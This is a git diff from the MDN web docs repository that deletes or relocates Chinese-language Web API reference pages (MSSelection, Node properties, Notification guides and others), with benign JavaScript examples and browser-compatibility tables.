addTrack() and {{domxref("removeTrack()")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(44)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatGeckoMobile(34) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
addTrack() and {{domxref("removeTrack()")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(44)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/msselection/index.html b/files/zh-cn/web/api/msselection/index.html deleted file mode 100644 index 5760848324..0000000000 --- a/files/zh-cn/web/api/msselection/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: MSSelection -slug: Web/API/MSSelection -tags: - - API - - DHTML - - DOM - - MSSelection ---- -
{{ ApiRef("DOM") }}{{Non-standard_Header}}
- -
-

IE Only

-该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。
- -

MSSelection 对象表示用户选择的文本范围或插入光标(Caret)的当前位置,类似于标准定义的 {{domxref("Selection")}} 接口。它主要通过配套的 {{domxref("TextRange")}} 接口进行操作。

- -

该接口从IE4开始实现,但直到IE9时添加了对标准 Selection 接口的支持时,为了区分它才被命名为 MSSelection。可供修改和使用的 MSSelection 可通过 {{domxref("document.selection")}} 属性获取,但是这在IE11被彻底移除。

- -

注意,在非IE浏览器不支持该接口,可使用替代的标准 {{domxref("Selection")}} 接口。

- -

属性

- -
-
{{domxref("MSSelection.type")}}{{ReadOnlyInline}}
-
-

返回选中区域的类型。

-
-
- -

方法

- -
-
{{domxref("MSSelection.empty()")}}
-
取消当前选中区,将选中区类型设置为 none
-
{{domxref("MSSelection.clear()")}}
-
清除选中区的内容,将选中区类型设置为 none。注意,该方法可以删除不可编辑的元素。
-
{{domxref("MSSelection.createRange()")}}
-
在当前选中区上创建并返回一个 TextRange,其内容和当前选区一致。返回的区域在修改时不会直接作用到选区上,除非使用 {{domxref("TextRange.select()")}} 方法。
-
{{domxref("MSSelection.createRangeCollection()")}}
-
返回一个 {{domxref("TextRangeCollection")}},该集合包含选区中所有区域对应的 TextRange。注意该对象不是一个 {{jsxref("Array")}},且IE中的Web网页不支持多个选区,因此它总是返回单个对象的集合。
-
- -

示例

- -

以下示例在IE10以下有效。该示例通过 document.selection 获取 MSSelection 对象,并清空选区中的内容。

- -
var sel = document.selection;
-sel.clear();
- -

开发者笔记

- -

使用 TextRange 操作选中区域

- -
-

仅在IE9以下有效。在浏览器允许的情况下,应优先使用 {{domxref("Selection")}} 接口。

-
- -

{{domxref("document.selection")}} 属性返回一个 MSSelection 对象,selection.createRange() 方法创建一个和当前选中区域一致的 {{domxref("TextRange")}} 对象。

- -
var sel = document.selection;
-var range = sel.createRange();
-alert(range.text);
-// 输出被选区域的纯文本
- -

注意,createRange 方法并不创建引用,如果希望通过该方法修改选中区域,则需要调用 TextRange.select 方法。

- -

selection 兼容性

- -

document.selection 属性返回当前文档的 MSSelection 对象。标准规定一个窗口/文档可能有多个不相邻选区,但只有Firefox实现通过 Ctrl 选中多个区域;IE中一般也只允许文档只存在一个被选中的 TextRange

- -

然而,在其它浏览器中,document 并不存在一个所谓 selection 属性——它们通过标准 Selection API 实现对选区的操作,也就是通过 window.getSelection() 方法获取 {{domxref("Selection")}} 对象,并使用标准的 {{domxref("Range")}} 对象对文本片段作出处理。IE11及之后的版本也放弃了 document.selection 对象而转为使用标准接口(尽管 TextRange 一直保留,但大多数情况下它已失去作用)。

- -

这很容易引起迷惑。通常,如果脚本只要求兼容最新的浏览器,那么标准的接口是最佳的选择;但通常目前的网站仍希望兼容IE8或其以下的浏览器,因此,最好的做法是同时处理两者,也就是在不支持标准接口时尝试使用 MSSelection 方式,但不要把该方式作为唯一的选择。

- -

浏览器兼容性

- - - - - - - - - - - - - - - - - - -
IE其它浏览器
{{domxref("MSSelection")}} {{non-standard_inline()}}≤10(IE9后应使用标准API)不支持(详见Selection API
- -

扩展

- - diff --git a/files/zh-cn/web/api/namelist/index.html b/files/zh-cn/web/api/namelist/index.html deleted file mode 100644 index 8506bc5266..0000000000 --- a/files/zh-cn/web/api/namelist/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: NameList -slug: Web/API/NameList -translation_of: Web/API/NameList ---- -

{{APIRef("DOM")}}{{ obsolete_header("10.0") }}

- -
-

Note: 虽然这个API曾经被用在 Gecko, 事实上它也是没有办法被创建的. NameList从 {{ Gecko("10.0") }}开始已经被废弃了。

-
- -

提供一个有序的键值对集合. 它可以通过下标0访问. 在DOM规范中没有指定这个集合是如何被应用的.

- -

属性

- -
-
{{domxref("NameList.length")}}{{readonlyInline}}
-
- -

方法

- -
-
{{domxref("NameList.contains()")}}
-
返回{{jsxref("Boolean")}}.
-
{{domxref("NameList.containsNS()")}}
-
返回 {{jsxref("Boolean")}}
-
{{domxref("NameList.getName()")}}
-
返回{{domxref("DOMString")}}
-
{{domxref("NameList.getNamespaceURI()")}}
-
返回 {{domxref("DOMString")}}
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#NameList", "NameList")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git a/files/zh-cn/web/api/navigatorgeolocation/index.html b/files/zh-cn/web/api/navigatorgeolocation/index.html deleted file mode 100644 index f5432039ba..0000000000 --- a/files/zh-cn/web/api/navigatorgeolocation/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: NavigatorGeolocation -slug: Web/API/NavigatorGeolocation -translation_of: Web/API/Geolocation -translation_of_original: Web/API/NavigatorGeolocation ---- -

{{APIRef("Geolocation API")}}

- -

NavigatorGeolocation  contains a creation method allowing objects implementing it to obtain a {{domxref("Geolocation")}} instance.

- -

There is no object of type NavigatorGeolocation, but some interfaces, like {{domxref("Navigator")}} implements it.

- -

Properties

- -

The NavigatorGeolocation interface doesn't inherit any property.

- -
-
{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}
-
Returns a {{domxref("Geolocation")}} object allowing accessing the location of the device.
-
- -

Methods

- -

The NavigatorGeolocation interface neither implements, nor inherit any method.

- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Geolocation', '#navi-geo', 'NavigatorGeolocation')}}{{Spec2('Geolocation')}}Initial specification.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
- Removed in 15.0
- Reintroduced in 16.0
5
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}{{CompatUnknown()}}10.60{{CompatUnknown()}}
-
- -

See also

- - - -

 

diff --git "a/files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" "b/files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" deleted file mode 100644 index 3f9c09d768..0000000000 --- "a/files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: 测试滕盖 -slug: Web/API/NavigatorPlugins/测试滕盖 ---- -
{{ ApiRef("HTML DOM") }}
- -
 
- -

Summary

- -

Returns a {{domxref("MimeTypeArray")}} object, which contains a list of {{domxref("MimeType")}} objects representing the MIME types recognized by the browser.

- -

Syntax

- -
mimeTypes = navigator.mimeTypes;
-
- -

mimeTypes is a MimeTypeArray object which has a length property as well as item(index) and namedItem(name) methods.

- -

Example

- -
function isJavaPresent() {
-  return 'application/x-java-applet' in navigator.mimeTypes;
-}
-
-function getJavaPluginDescription() {
-  var mimetype = navigator.mimeTypes['application/x-java-applet'];
-  if (mimetype === undefined) {
-    // no Java plugin present
-    return undefined;
-  }
-  return mimetype.enabledPlugin.description;
-}
-
- -

Specification

- -

This is not part of any specification.

diff --git a/files/zh-cn/web/api/node/baseuriobject/index.html b/files/zh-cn/web/api/node/baseuriobject/index.html deleted file mode 100644 index ad04356656..0000000000 --- a/files/zh-cn/web/api/node/baseuriobject/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Node.baseURIObject -slug: Web/API/Node/baseURIObject -translation_of: Web/API/Node -translation_of_original: Web/API/Node/baseURIObject ---- -
- {{ApiRef}} {{Fx_minversion_header("3")}} {{Non-standard_header}}
-

概述

-

baseURIObject属性返回一个代表当前节点(通常是文档节点或元素节点)的基URL的{{Interface("nsIURI")}}对象.该属性类似与{{domxref("Node.baseURI")}},只是它返回的是一个包含更多信息的nsIURI对象,而不只是一个URL字符串.

-

该属性在所有类型的节点上都可用(HTML,XUL,SVG,MathML等),但脚本本身必须要有 UniversalXPConnect权限(XUL默认有这个权限,HTML没有).

-

查看{{domxref("Node.baseURI")}}了解基URL(base URL)是什么.

-

语法

-
uriObj = node.baseURIObject
-
-

附注

-

该属性只读,尝试为它赋值会抛出异常. 此外,这个属性只能从特权代码中访问.

-

规范

-

不属于任何规范,mozilla私有属性.

diff --git a/files/zh-cn/web/api/node/innertext/index.html b/files/zh-cn/web/api/node/innertext/index.html deleted file mode 100644 index 3062dda65f..0000000000 --- a/files/zh-cn/web/api/node/innertext/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: HTMLElement.innerText -slug: Web/API/Node/innerText -tags: - - API - - DOM - - HTMLElement - - Property - - Reference - - 参考 - - 属性 -translation_of: Web/API/HTMLElement/innerText ---- -
{{APIRef("DOM")}}
- -

innerText 属性表示一个节点及其后代的“渲染”文本内容。 As a getter, it approximates the text the user would get if they highlighted the contents of the element with the cursor and then copied it to the clipboard.

- -
-

Note: innerText 很容易与{{domxref("Node.textContent")}}混淆, 但这两个属性间实际上有很重要的区别. 大体来说, innerText 可操作已被渲染的内容, 而 textContent 则不会.

-
- -

语法

- -
var renderedText = HTMLElement.innerText;
-HTMLElement.innerText = string;
- -

输出值

- -

一段 {{domxref("DOMString")}} 表示一个元素中已被渲染的内容. 如果元素自身没有 被渲染 (e.g 被从文档中删除或没有在视图中显示), 这时返回值与 {{domxref("Node.textContent")}} 属性相同.

- -

例子

- -

这个示例对比了 innerText 和 {{domxref("Node.textContent")}}. 这时 innerText 代表的含义就像 {{htmlElement("br")}} 标签, 并且忽略了隐藏的元素.

- -

HTML

- -
<h3>Source element:</h3>
-<p id="source">
-  <style>#source { color: red; }</style>
-Take a look at<br>how this text<br>is interpreted
-       below.
-  <span style="display:none">HIDDEN TEXT</span>
-</p>
-<h3>Result of textContent:</h3>
-<textarea id="textContentOutput" rows="6" cols="30" readonly>...</textarea>
-<h3>Result of innerText:</h3>
-<textarea id="innerTextOutput" rows="6" cols="30" readonly>...</textarea>
- -

JavaScript

- -
const source = document.getElementById('source');
-const textContentOutput = document.getElementById('textContentOutput');
-const innerTextOutput = document.getElementById('innerTextOutput');
-
-textContentOutput.innerHTML = source.textContent;
-innerTextOutput.innerHTML = source.innerText;
- -

结果

- -

{{EmbedLiveSample("Example", 700, 450)}}

- -

规范

- - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}{{Spec2('HTML WHATWG')}}Introduced, based on the draft of the innerText specification. See whatwg/html#465 and whatwg/compat#5 for history.
- -

浏览器兼容

- - - -

{{Compat("api.HTMLElement.innerText")}}

- -

此特性最初由 Internet Explorer 引入。 被所有主要的浏览器供应商(vendor)采用后,它于 2016 年正式进入 HTML 标准。

- -

参见

- - diff --git a/files/zh-cn/web/api/node/nodeprincipal/index.html b/files/zh-cn/web/api/node/nodeprincipal/index.html deleted file mode 100644 index 58844aef2e..0000000000 --- a/files/zh-cn/web/api/node/nodeprincipal/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Node.nodePrincipal -slug: Web/API/Node/nodePrincipal -translation_of: Web/API/Node -translation_of_original: Web/API/Node/nodePrincipal ---- -
- {{APIRef}}{{Fx_minversion_header(3)}}{{Non-standard_header}} -

The Node.nodePrincipal read-only property returns the {{Interface("nsIPrincipal")}} object representing current security context of the node.

-

{{Note("This property exists on all nodes (HTML, XUL, SVG, MathML, etc.), but only if the script trying to use it has chrome privileges.")}}

-

Syntax

-
principalObj = element.nodePrincipal
-
-

Notes

-

This property is read-only; attempting to write to it will throw an exception. In addition, this property may only be accessed from privileged code.

-

Specification

-

Not in any specification.

-
-

 

diff --git a/files/zh-cn/web/api/node/outertext/index.html b/files/zh-cn/web/api/node/outertext/index.html deleted file mode 100644 index 01de770af7..0000000000 --- a/files/zh-cn/web/api/node/outertext/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Node.outerText -slug: Web/API/Node/outerText -tags: - - Node.outerText -translation_of: Web/API/HTMLElement/outerText -translation_of_original: Web/API/Node/outerText ---- -

请参阅 {{domxref("HTMLElement.outerText")}}

diff --git a/files/zh-cn/web/api/node/rootnode/index.html b/files/zh-cn/web/api/node/rootnode/index.html deleted file mode 100644 index 6291ef7fd6..0000000000 --- a/files/zh-cn/web/api/node/rootnode/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Node.rootNode -slug: Web/API/Node/rootNode -tags: - - API - - DOM - - Node - - Property - - Reference - - rootNode -translation_of: Web/API/Node/getRootNode -translation_of_original: Web/API/Node/rootNode ---- -

{{deprecated_header}}{{APIRef("DOM")}}{{SeeCompatTable}}

- -

Node.rootNode 是 {{domxref("Node")}} 的一个只读属性, 返回该节点所在 DOM 数的根节点(最高节点). 此属性是通过 {{domxref("Node.parentNode")}} 属性循环查找直到找到根节点.

- -
-

注意: 由于某种原因, 此属性已经被 {{domxref("Node.getRootNode()")}} 方法替代.

-
- -

语法

- -
rootNode = node.rootNode;
-
- -

 返回值

- -

返回 {{domxref("Node")}} 对象.

- -

样例

- -

下面是输出body的根节点样例:

- -
console.log(document.body.rootNode);
- -

参考

- -

Gecko内核的浏览器会在源代码中标签内部有空白符的地方插入一个文本结点到文档中.因此,使用诸如 - Node.firstChildNode.previousSibling 之类的方法可能会引用到一个空白符文本节点, - 而不是使用者所预期得到的节点.

- -

详情请参见 DOM 中的空白符 - 和W3C DOM 3 FAQ: 为什么一些文本节点是空的.

- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}[1]{{CompatNo}}[1]{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatNo}}[1]{{CompatUnknown}}{{CompatNo}}[1]{{CompatUnknown}}
-
- -

[1] 此属性已经废弃, 使用{{domxref("Node.getRootNode()")}} 方法替代.

- -

规范

- - - - - - - - - - - - - - - - -
规范样式备注
{{SpecName('DOM WHATWG', '#dom-node-rootnode', 'Node.rootNode')}}{{Spec2('DOM WHATWG')}}初始定义
diff --git a/files/zh-cn/web/api/notification/sound/index.html b/files/zh-cn/web/api/notification/sound/index.html deleted file mode 100644 index ffe90b4955..0000000000 --- a/files/zh-cn/web/api/notification/sound/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Notification.sound -slug: Web/API/notification/sound -translation_of: Web/API/notification/sound ---- -

{{APIRef("Web Notifications")}}

- -
-

Note: 这个属性并没有完全被一些浏览器支持.

-
- -

 sound 是 {{domxref("Notification")}}的只读属性,interface specifies the URL of an audio file to be played when the notification fires. This is specified in the sound option of the {{domxref("Notification.Notification","Notification()")}} constructor.

- -

Syntax

- -
var sound = Notification.sound;
-
- -

Value

- -

A {{domxref("USVString")}}.

- -

Examples

- -

The following snippet is intended to fire a sound along with the notification; a simple options object is created, then the notification is fired using the Notification() constructor.

- -
var options = {
-  body: 'Do you like my body?',
-  sound: 'audio/alert.mp3'
-}
-
-var n = new Notification('Test notification',options);
-
-n.sound // should return 'audio/alert.mp3'
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Notifications','#dom-notification-sound','sound')}}{{Spec2('Web Notifications')}}Living standard
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo() }} -

{{ CompatNo() }}

-
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }} -

{{ CompatNo() }}

-
-
- -

Firefox OS notes

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}

- -

Chrome notes

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}

- -

Safari notes

- -

{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/notification/using_web_notifications/index.html b/files/zh-cn/web/api/notification/using_web_notifications/index.html deleted file mode 100644 index 40bbb3848b..0000000000 --- a/files/zh-cn/web/api/notification/using_web_notifications/index.html +++ /dev/null @@ -1,292 +0,0 @@ ---- -title: 使用 Web Notifications -slug: Web/API/notification/Using_Web_Notifications -tags: - - Firefox OS - - Notifications - - Using the Notifications API - - 通知 -translation_of: Web/API/Notifications_API/Using_the_Notifications_API ---- -

{{APIRef("Web Notifications")}}

- -

Notifications API 允许网页或应用程序在系统级别发送在页面外部显示的通知;这样即使应用程序空闲或在后台,Web应用程序也会向用户发送信息。本文将介绍在您自己的应用程序中使用此API的基础知识。

- -

{{AvailableInWorkers}}

- -

通常,系统通知是指操作系统的标准通知机制,例如思考典型的桌面系统或移动设备如何发布通知。

- -

                             

- -

                        

- -

系统通知系统当然会因平台和浏览器而异,但无需担心,通知API被编写为通用的,足以与大多数系统通知系统兼容。

- -

Web Notifications API 使页面可以发出通知,通知将被显示在页面之外的系统层面上(通常使用操作系统的标准通知机制,但是在不同的平台和浏览器上的表现会有差异)。这个功能使  web 应用可以向用户发送信息,即使应用处于空闲状态。最明显的用例之一是一个网页版电子邮件应用程序,每当用户收到了一封新的电子邮件都需要通知用户,即使用户正在使用另一个应用程序。

- -

要显示一条通知,你需要先请求适当的权限,然后你可以实例化一个 {{domxref("Notification")}} 实例:

- -
Notification.requestPermission( function(status) {
-  console.log(status); // 仅当值为 "granted" 时显示通知
-  var n = new Notification("title", {body: "notification body"}); // 显示通知
-});
-
- -

请求权限

- -

在应用可以发送通知之前,用户必须授予应用有权这么做。这是一个常见的要求,当一个 API 至少一次试图与 web 页外部进行交互时,用户不得不专门授予该应用程序有权限提出通知,从而让用户控制允许哪些应用程序或网站显示通知。

- -

检查当前权限状态

- -

你可以通过检查只读属性 {{domxref("Notification.permission")}} 的值来查看你是否已经有权限。该属性的值将会是下列三个之一:

- -
-
default
-
用户还未被询问是否授权,所以通知不会被显示。参看 {{anch("Getting permission")}} 以了解如何请求显示通知的权限。
-
granted
-
表示之前已经询问过用户,并且用户已经授予了显示通知的权限。
-
denied
-
用户已经明确的拒绝了显示通知的权限。
-
- -
-

注:Safari 和 Chrome (在 32 版本之前) 还没有实现 permission 属性。

-
- -

获得权限

- -

如果权限尚未被授予,那么应用不得不通过 {{domxref("Notification.requestPermission()")}} 方法让用户进行选择。这个方法接受一个回调函数,一旦用户回应了显示通知的请求,将会调用这个函数。

- -

通常你应在你的应用首次初始化的时候请求显示通知的权限:

- -
window.addEventListener('load', function () {
-  Notification.requestPermission(function (status) {
-    // 这将使我们能在 Chrome/Safari 中使用 Notification.permission
-    if (Notification.permission !== status) {
-      Notification.permission = status;
-    }
-  });
-});
- -
-

注:Chrome 不允许你在 load 事件处理中调用 {{domxref("Notification.requestPermission()")}} (参见 issue 274284)。

-
- -

Notification API 的清单权限

- -

请注意 Notification API 不是 {{Glossary("privileged")}} 或 {{Glossary("certified")}},因此当你在一个开放 web 应用中使用它时,你仍需要在你的 manifest.webapp 文件中包含以下项目:

- -
"permissions": {
-  "desktop-notification": {
-    "description": "Needed for creating system notifications."
-  }
-}
- -
-

注:当安装应用程序时,你不需要通过上面的代码显式的请求权限,但您仍然需要在触发通知之前取得权限项。

-
- -

创建通知

- -

创建通知很简单,只需要用 {{domxref("Notification")}} 构造方法。这个构造函数需要一个用来显示在通知内的标题以及一些用来增强通知的选项,例如 {{domxref("Notification.icon","icon")}} 或文本 {{domxref("Notification.body","body")}}。

- -

一旦通知被创建出来,它会立即被显示出来。为了跟踪通知当前的状态,在 {{domxref("Notification")}} 实例层面上会有4个事件被触发:

- -
-
{{event("show")}}
-
当通知被显示给用户时触发。
-
{{event("click")}}
-
当用户点击通知时触发。
-
{{event("close")}}
-
当通知被关闭时触发。
-
{{event("error")}}
-
当通知发生错误的时候触发。这通常是因为通知由于某些原因而无法显示。
-
- -

这些事件可以通过事件处理跟踪 {{domxref("Notification.onshow","onshow")}}、{{domxref("Notification.onclick","onclick")}}、{{domxref("Notification.onclose","onclose")}} 和 {{domxref("Notification.onerror","onerror")}}。因为 {{domxref("Notification")}} 同样继承自 {{domxref("EventTarget")}},因此可以对它调用 {{domxref("EventTarget.addEventListener","addEventListener()")}} 方法。

- -
-

注:Firefox 和 Safari 会在一定时间后自动关闭通知(大约4秒)。这也会发生在操作系统层面。

- -

当然你也可以通过代码做到,调用 {{domxref("Notification.close()")}} 方法,就像下面的代码一样:

- -
var n = new Notification("Hi!");
-n.onshow = function () {
-  setTimeout(n.close.bind(n), 5000);
-}
-
- -

当你接收到一个“close”事件时,并不能保证这个通知是被用户关闭的。这是符合规范的,其中指出:“当一个通知被关闭时,通知的关闭动作都必须执行,不论是底层通知平台导致,还是用户导致。”

-
- -

简单的例子

- -

假定有如下的 HTML:

- -
<button>Notify me!</button>
- -

它可能通过这样的方式处理通知:

- -
window.addEventListener('load', function () {
-  // 首先,让我们检查我们是否有权限发出通知
-  // 如果没有,我们就请求获得权限
-  if (window.Notification && Notification.permission !== "granted") {
-    Notification.requestPermission(function (status) {
-      if (Notification.permission !== status) {
-        Notification.permission = status;
-      }
-    });
-  }
-
-  var button = document.getElementsByTagName('button')[0];
-
-  button.addEventListener('click', function () {
-    // 如果用户同意就创建一个通知
-    if (window.Notification && Notification.permission === "granted") {
-      var n = new Notification("Hi!");
-    }
-
-    // 如果用户没有选择是否显示通知
-    // 注:因为在 Chrome 中我们无法确定 permission 属性是否有值,因此
-    // 检查该属性的值是否是 "default" 是不安全的。
-    else if (window.Notification && Notification.permission !== "denied") {
-      Notification.requestPermission(function (status) {
-        if (Notification.permission !== status) {
-          Notification.permission = status;
-        }
-
-        // 如果用户同意了
-        if (status === "granted") {
-          var n = new Notification("Hi!");
-        }
-
-        // 否则,我们可以让步的使用常规模态的 alert
-        else {
-          alert("Hi!");
-        }
-      });
-    }
-
-    // 如果用户拒绝接受通知
-    else {
-      // 我们可以让步的使用常规模态的 alert
-      alert("Hi!");
-    }
-  });
-});
- -

这是实际的结果:

- -

{{ EmbedLiveSample('Simple_example', '100%', 30) }}

- -

处理重复的通知

- -

某些情况下对于用户来说,显示大量通知是件令人痛苦的事情。比如,如果一个即时通信应用向用户提示每一条传入的消息。为了避免数以百计的不必要通知铺满用户的桌面,可能需要接管一个挂起消息的队列。

- -

因此,需要为新建的通知添加一个标记。如果有一条通知也具有一个相同的标记,并且还没有被显示,那么这条新通知将会替换上一条通知。如果有一条通知具有一个相同的标记,并且已经显示出来了,那么上一条通知将会被关闭,新通知将会被显示出来。

- -

使用标记的例子

- -

假定有如下 HTML:

- -
<button>Notify me!</button>
- -

它有可能通过这种方式处理的多个通知:

- -
window.addEventListener('load', function () {
-  // 首先,我们检查是否具有权限显示通知
-  // 如果没有,我们就申请权限
-  if (window.Notification && Notification.permission !== "granted") {
-    Notification.requestPermission(function (status) {
-      if (Notification.permission !== status) {
-        Notification.permission = status;
-      }
-    });
-  }
-
-  var button = document.getElementsByTagName('button')[0];
-
-  button.addEventListener('click', function () {
-    // 如果用户同意接收通知,我们就尝试发送10条通知
-    if (window.Notification && Notification.permission === "granted") {
-      for (var i = 0; i < 10; i++) {
-        // 感谢标记,我们应该只看到内容为 "Hi! 9" 的通知
-        var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
-      }
-    }
-
-    // 如果用户没有选择是否同意显示通知
-    // 注:由于在 Chrome 中不能确定 permission 属性是否有值,因此检查
-    // 该属性值是否为 "default" 是不安全的。
-    else if (window.Notification && Notification.permission !== "denied") {
-      Notification.requestPermission(function (status) {
-        if (Notification.permission !== status) {
-          Notification.permission = status;
-        }
-
-        // 如果用户同意
-        if (status === "granted") {
-          for (var i = 0; i < 10; i++) {
-            // Thanks to the tag, we should only see the "Hi! 9" notification
-            var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
-          }
-        }
-
-        // 否则改用 alert
-        else {
-          alert("Hi!");
-        }
-      });
-    }
-
-    // 如果用户拒绝
-    else {
-      // 改用 alert
-      alert("Hi!");
-    }
-  });
-});
- -

实际效果如下:

- -

{{ EmbedLiveSample('.E5.A4.84.E7.90.86.E9.87.8D.E5.A4.8D.E7.9A.84.E9.80.9A.E7.9F.A5', '100%', 30) }}

- -

接收点击应用通知的通知

- -

当用户点击一个由应用产生的通知时,视情况而定,你将会有两种方式被告知点击事件发生了:

- -
    -
  1. 如果你的程序没有被关闭或转入后台,那么在你会收到一个点击事件。
  2. -
  3. 其他情况下会收到一条系统消息。
  4. -
- -

参考 这个代码片段 作为例子,展示了如何处理。

- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Initial specification.
- -

浏览器兼容性

- -

{{page("/zh-CN/Web/API/Notification",".E6.B5.8F.E8.A7.88.E5.99.A8.E5.85.BC.E5.AE.B9.E6.80.A7")}}

- -

参考

- - diff --git a/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html b/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html new file mode 100644 index 0000000000..40bbb3848b --- /dev/null +++ b/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html @@ -0,0 +1,292 @@ +--- +title: 使用 Web Notifications +slug: Web/API/notification/Using_Web_Notifications +tags: + - Firefox OS + - Notifications + - Using the Notifications API + - 通知 +translation_of: Web/API/Notifications_API/Using_the_Notifications_API +--- +

{{APIRef("Web Notifications")}}

+ +

Notifications API 允许网页或应用程序在系统级别发送在页面外部显示的通知;这样即使应用程序空闲或在后台,Web应用程序也会向用户发送信息。本文将介绍在您自己的应用程序中使用此API的基础知识。

+ +

{{AvailableInWorkers}}

+ +

通常,系统通知是指操作系统的标准通知机制,例如思考典型的桌面系统或移动设备如何发布通知。

+ +

                             

+ +

                        

+ +

系统通知系统当然会因平台和浏览器而异,但无需担心,通知API被编写为通用的,足以与大多数系统通知系统兼容。

+ +

Web Notifications API 使页面可以发出通知,通知将被显示在页面之外的系统层面上(通常使用操作系统的标准通知机制,但是在不同的平台和浏览器上的表现会有差异)。这个功能使  web 应用可以向用户发送信息,即使应用处于空闲状态。最明显的用例之一是一个网页版电子邮件应用程序,每当用户收到了一封新的电子邮件都需要通知用户,即使用户正在使用另一个应用程序。

+ +

要显示一条通知,你需要先请求适当的权限,然后你可以实例化一个 {{domxref("Notification")}} 实例:

+ +
Notification.requestPermission( function(status) {
+  console.log(status); // 仅当值为 "granted" 时显示通知
+  var n = new Notification("title", {body: "notification body"}); // 显示通知
+});
+
+ +

请求权限

+ +

在应用可以发送通知之前,用户必须授予应用有权这么做。这是一个常见的要求,当一个 API 至少一次试图与 web 页外部进行交互时,用户不得不专门授予该应用程序有权限提出通知,从而让用户控制允许哪些应用程序或网站显示通知。

+ +

检查当前权限状态

+ +

你可以通过检查只读属性 {{domxref("Notification.permission")}} 的值来查看你是否已经有权限。该属性的值将会是下列三个之一:

+ +
+
default
+
用户还未被询问是否授权,所以通知不会被显示。参看 {{anch("Getting permission")}} 以了解如何请求显示通知的权限。
+
granted
+
表示之前已经询问过用户,并且用户已经授予了显示通知的权限。
+
denied
+
用户已经明确的拒绝了显示通知的权限。
+
+ +
+

注:Safari 和 Chrome (在 32 版本之前) 还没有实现 permission 属性。

+
+ +

获得权限

+ +

如果权限尚未被授予,那么应用不得不通过 {{domxref("Notification.requestPermission()")}} 方法让用户进行选择。这个方法接受一个回调函数,一旦用户回应了显示通知的请求,将会调用这个函数。

+ +

通常你应在你的应用首次初始化的时候请求显示通知的权限:

+ +
window.addEventListener('load', function () {
+  Notification.requestPermission(function (status) {
+    // 这将使我们能在 Chrome/Safari 中使用 Notification.permission
+    if (Notification.permission !== status) {
+      Notification.permission = status;
+    }
+  });
+});
+ +
+

注:Chrome 不允许你在 load 事件处理中调用 {{domxref("Notification.requestPermission()")}} (参见 issue 274284)。

+
+ +

Notification API 的清单权限

+ +

